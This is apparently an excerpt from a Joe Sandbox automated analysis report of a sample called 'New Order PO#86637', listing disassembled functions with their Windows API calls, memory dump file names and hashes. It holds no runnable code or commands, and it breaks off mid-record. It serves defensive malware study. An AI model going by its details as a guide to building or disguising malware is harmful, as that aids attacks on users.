Instruction Fuzzy Hash: 79016770106B88ADD3309F668C84B47FFF8EF95704F01491DD1D507A52C6B5A84CCB69

Function 004151BB Relevance: 9.0, APIs: 6, Instructions: 29threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 004151C0

Part of subcall function 004178AE: TlsGetValue.KERNEL32(?,00417A07,?,004115F6,?,00401BAC,?,?,?), ref: 004178B7
Part of subcall function 004178AE: TlsSetValue.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 004178D8

___fls_getvalue@4.LIBCMT ref: 004151CB

Part of subcall function 0041788E: TlsGetValue.KERNEL32(?,?,00413D30,00000000), ref: 0041789C

___fls_setvalue@8.LIBCMT ref: 004151DD
GetLastError.KERNEL32(00000000,?,00000000), ref: 004151E6
ExitThread.KERNEL32 ref: 004151ED
__freefls@4.LIBCMT ref: 00415209

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Value$ErrorExitLastThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 442100245-0
Opcode ID: 3ee415d2c127bcf6c5e710345aa78d19554ad97a0662bc484850007a9fc41a8b
Instruction ID: 28e435cdead01fd65333368df2891c86ea6a44e569ea48f613a140ff37384f5b
Opcode Fuzzy Hash: 3ee415d2c127bcf6c5e710345aa78d19554ad97a0662bc484850007a9fc41a8b
Instruction Fuzzy Hash: FEF01975544700AFC704BF76C54D9CE7BB99F94349720845EB80887222DA3CD8C2C669

Function 0045F790 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 216windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182

GetMenuItemInfoW.USER32(?,00000000), ref: 0045F85C
_wcslen.LIBCMT ref: 0045F94A
SetMenuItemInfoW.USER32(00000011,00000000,00000000,?), ref: 0045F9AE

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

SetMenuDefaultItem.USER32(00000000,000000FF,00000000,?,00000000), ref: 0045F9CA

Strings

0, xrefs: 0045F829

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default_malloc_wcscpy
String ID: 0
API String ID: 621800784-4108050209
Opcode ID: ba56779765e6f71d67f6246429d0af9e67b9def047912433c0c15b7e926c8fa5
Instruction ID: 8916cda2fcff4f3da81aa675480f1736598f59ba0f795e6899437ff2d0190f01
Opcode Fuzzy Hash: ba56779765e6f71d67f6246429d0af9e67b9def047912433c0c15b7e926c8fa5
Instruction Fuzzy Hash: E061EDB1604301AAD710EF69D885B6B77A4AF99315F04493FF98087292E7BCD84CC79B

Function 00478172 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

SetErrorMode.KERNEL32 ref: 004781CE
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00478387

Part of subcall function 00433998: GetFileAttributesW.KERNEL32(?), ref: 0043399F

SetErrorMode.KERNEL32(?), ref: 00478270
SetErrorMode.KERNEL32(?), ref: 00478340

Strings

\VH, xrefs: 00478203

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorMode$AttributesFile_memmove_wcslen
String ID: \VH
API String ID: 3884216118-234962358
Opcode ID: 178592a45c440348c39a3b7bd59973aab5981f95bb0f1257baca06643fcd57b5
Instruction ID: 3f1cdca54a202f1bd1938e87a451cd9606667cca5306a7eaf6ab6c0a6d737147
Opcode Fuzzy Hash: 178592a45c440348c39a3b7bd59973aab5981f95bb0f1257baca06643fcd57b5
Instruction Fuzzy Hash: F9619F715043019BC310EF25C585A5BB7E0BFC8708F04896EFA996B392CB76ED45CB96

Function 00448480 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 107windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00448539
IsMenu.USER32(?), ref: 0044854D
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0044859B
DrawMenuBar.USER32 ref: 004485AF

Strings

0, xrefs: 0044849A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 1799694fe08fa7a149e3e917ddeca428ef12783b8609c92dee7a023332204936
Instruction ID: 7b58e0297b022ec9ba855d833b0382692745775969200e6848d17b537ef0d45f
Opcode Fuzzy Hash: 1799694fe08fa7a149e3e917ddeca428ef12783b8609c92dee7a023332204936
Instruction Fuzzy Hash: 1F417975A00209AFEB10DF55D884B9FB7B5FF59300F14852EE9059B390DB74A845CFA8

Function 00469CDB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 100windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469D69
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00469D7C
SendMessageW.USER32(?,00000189,00000000,00000000), ref: 00469DAC

Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193

Strings

ComboBox, xrefs: 00469CE7
ListBox, xrefs: 00469D20

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$_memmove_wcslen
String ID: ComboBox$ListBox
API String ID: 1589278365-1403004172
Opcode ID: 4395ff4c2c8cdf0c8fa99ec605851f177d12593d5a8a66f2884a0b9051c55526
Instruction ID: b025c67d46b61e1fa51b41144ded2117d8c1ab71acdc4e5cb50a5164a05e923b
Opcode Fuzzy Hash: 4395ff4c2c8cdf0c8fa99ec605851f177d12593d5a8a66f2884a0b9051c55526
Instruction Fuzzy Hash: 8D31287160010477DB10BB69CC45BEF775C9F86324F10852FF918AB2D1DABC9E4583A6

Function 00443442 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?), ref: 00443472

Strings

nul, xrefs: 004434E8

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Handle
String ID: nul
API String ID: 2519475695-2873401336
Opcode ID: efdaae6ab43bf4356d88622121a7e42c7f624cc6de1d12637521731ec53ca4c5
Instruction ID: 058e2060cb23de8d889deff533ab301820a4ae088d702658d54b05e79d5a48de
Opcode Fuzzy Hash: efdaae6ab43bf4356d88622121a7e42c7f624cc6de1d12637521731ec53ca4c5
Instruction Fuzzy Hash: 84319571500204ABEB20DF68DC46BEB77A8EF04721F104A4EFD50973D1E7B59A50CBA5

Function 0044334F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 0044337D

Strings

nul, xrefs: 004433F4

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Handle
String ID: nul
API String ID: 2519475695-2873401336
Opcode ID: 97b946d9a765a46b1e85699804a5cf49c651f34dfecb3a2317456e71fe30ed78
Instruction ID: 7fb8f1e98e57093f7bc771e71f756598ee5282d4f5ffeaa4ddc08f3ab3272662
Opcode Fuzzy Hash: 97b946d9a765a46b1e85699804a5cf49c651f34dfecb3a2317456e71fe30ed78
Instruction Fuzzy Hash: 05219331600204ABE720DF689C49FAB77A8EF55731F20474EFDA0972D0EBB59A50C795

Function 00401B80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 91windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042723B

Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193

_wcsncpy.LIBCMT ref: 00401C41
_wcscpy.LIBCMT ref: 00401C5D
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401C6F

Strings

Line: , xrefs: 0042727B

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_wcscpy_wcslen_wcsncpy
String ID: Line:
API String ID: 1874344091-1585850449
Opcode ID: 71d679a4a9352c46b300ee00bac0ebd609a16659c7848ecadc14a4878baa23f7
Instruction ID: 22c0e507134e40740d6fd31dbafdd21c3b8ff828be9a92102ab360472f74cad7
Opcode Fuzzy Hash: 71d679a4a9352c46b300ee00bac0ebd609a16659c7848ecadc14a4878baa23f7
Instruction Fuzzy Hash: EB31A1715083459BD320EB61DC45BDA77E8BF85318F04093EF588931E1E7B8AA49C75E

Function 00440C49 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

SysAnimate32, xrefs: 00440C91

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID: SysAnimate32
API String ID: 0-1011021900
Opcode ID: 8caf53187f6e77aecacb49307b2e697766faa1bc511b1160dce697a174d3407c
Instruction ID: b1a10ecfd0a3fc3d2af2854cd73c9de1262d8b9fd4b2252518a975ef6c54cff1
Opcode Fuzzy Hash: 8caf53187f6e77aecacb49307b2e697766faa1bc511b1160dce697a174d3407c
Instruction Fuzzy Hash: 0D21C975600205ABFB149EA9EC81FAB73DCEB95324F20471BF711972C0D279EC518768

Function 00461554 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193

Part of subcall function 0043646A: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00436489
Part of subcall function 0043646A: GetWindowThreadProcessId.USER32(?,00000000), ref: 0043649C
Part of subcall function 0043646A: GetCurrentThreadId.KERNEL32 ref: 004364A3
Part of subcall function 0043646A: AttachThreadInput.USER32(00000000), ref: 004364AA

GetFocus.USER32 ref: 0046157B

Part of subcall function 004364B5: GetParent.USER32(?), ref: 004364C3
Part of subcall function 004364B5: GetParent.USER32(?), ref: 004364CF

GetClassNameW.USER32(?,?,00000100), ref: 004615C4
EnumChildWindows.USER32(?,Function_00045B98,?), ref: 004615EF
__swprintf.LIBCMT ref: 00461608

Strings

%s%d, xrefs: 00461602

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Thread$Parent$AttachChildClassCurrentEnumFocusInputMessageNameProcessSendTimeoutWindowWindows__swprintf_memmove_wcslen
String ID: %s%d
API String ID: 2645982514-1110647743
Opcode ID: 964dbc2a73d3b51658c129c0940897b8911b785c40af9afe88b96a44e5c449bd
Instruction ID: 8eac61321038dbd32bfe14263504560db7c98c8fbeeeb2eb49a46d34c9d63f73
Opcode Fuzzy Hash: 964dbc2a73d3b51658c129c0940897b8911b785c40af9afe88b96a44e5c449bd
Instruction Fuzzy Hash: 272180756007096BD610AF69DC89FAF73A8FB88704F00841FF918A7241DAB8A9418B69

Function 00462A31 Relevance: 7.7, APIs: 5, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0beeaaa579c9339ee211e6c40176bce708d39a94b7630d2852c1f2343b6e5e4f
Instruction ID: b0f148a0463f8e77612455c4d0488571574065cadd758f34d18f988e9301810f
Opcode Fuzzy Hash: 0beeaaa579c9339ee211e6c40176bce708d39a94b7630d2852c1f2343b6e5e4f
Instruction Fuzzy Hash: 2A819F74600604BFEB24CF95C994FBB7B68EF59350F10804EF8959B341E6B8AC45CB6A

Function 004757A7 Relevance: 7.7, APIs: 5, Instructions: 220COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?), ref: 0047584D
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0047585B
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0047587F
CloseHandle.KERNEL32(00000000), ref: 00475A4D

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: ce4ed15879a0d4705bc9675b55154bd71a0022cbb1f9dd3a70cee976304ba055
Instruction ID: 747e8e91012d04cc7bcfbda4f2b49d0ca9967bea8b965680eccea6cdbc9dea0c
Opcode Fuzzy Hash: ce4ed15879a0d4705bc9675b55154bd71a0022cbb1f9dd3a70cee976304ba055
Instruction Fuzzy Hash: 82817170A047029FD310DF65C981B4BBBE1BF84704F10892EF6999B3D2DA75E944CB96

Function 0046B4CF Relevance: 7.7, APIs: 5, Instructions: 157registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B5B5

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ConnectRegistry_memmove_wcslen
String ID:
API String ID: 15295421-0
Opcode ID: d8d3d6a2cecaed762a510ed52f320a3b4f5546c74b9e94ec6e10ba7928b5d5b3
Instruction ID: 481e56be03c4cee60d8ca92471cfa4b3875eab78bcfcbf7fb961631f720e0f99
Opcode Fuzzy Hash: d8d3d6a2cecaed762a510ed52f320a3b4f5546c74b9e94ec6e10ba7928b5d5b3
Instruction Fuzzy Hash: 7D515F71208301ABD304EF65C885E5BB7A8FF88704F10892EB54597291D774E945CBA6

Function 00464812 Relevance: 7.6, APIs: 5, Instructions: 145libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?), ref: 0046485D
GetProcAddress.KERNEL32(?,?), ref: 004648F7
GetProcAddress.KERNEL32(?,00000000), ref: 00464916
GetProcAddress.KERNEL32(?,?), ref: 0046495A
FreeLibrary.KERNEL32(?,?,?,?), ref: 0046497C

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID:
API String ID: 2449869053-0
Opcode ID: 178b694003ef1c8c6ddf6c03964e3c93f4f33891ff2eeadba8088ba5e41252f8
Instruction ID: 8919579e2c9fc9b2d94c4928dd3202a5bdd7863bc063e44bf2a6fba2f1eed130
Opcode Fuzzy Hash: 178b694003ef1c8c6ddf6c03964e3c93f4f33891ff2eeadba8088ba5e41252f8
Instruction Fuzzy Hash: 2351BF756002049FCB00EFA4C985A9EB7B4EF88304F14856EFD05AB392DB79ED45CB99

Function 00456391 Relevance: 7.6, APIs: 5, Instructions: 130keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 004563A6
ScreenToClient.USER32(?,?), ref: 004563C3
GetAsyncKeyState.USER32(?), ref: 00456400
GetAsyncKeyState.USER32(?), ref: 00456410
GetWindowLongW.USER32(?,000000F0), ref: 00456466

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AsyncState$ClientCursorLongScreenWindow
String ID:
API String ID: 3539004672-0
Opcode ID: 47775ca2c9d3ed855d965de7f9cc13cd0d0477b61ed95063c4b58fcc2d2fd159
Instruction ID: 60090bce41a6de58f2ab96a8453d1e3558661e38fd0c916b19f374a884add038
Opcode Fuzzy Hash: 47775ca2c9d3ed855d965de7f9cc13cd0d0477b61ed95063c4b58fcc2d2fd159
Instruction Fuzzy Hash: 49414C74504204BBDB24CF65C884EEFBBB8EB46326F60464EFC6593281CB34A944CB68

Function 0047D40F Relevance: 7.6, APIs: 5, Instructions: 120sleepCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(004A7F04), ref: 0047D438
InterlockedDecrement.KERNEL32(004A7F04), ref: 0047D44D
Sleep.KERNEL32(0000000A), ref: 0047D455
InterlockedIncrement.KERNEL32(004A7F04), ref: 0047D460
InterlockedDecrement.KERNEL32(004A7F04), ref: 0047D56A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
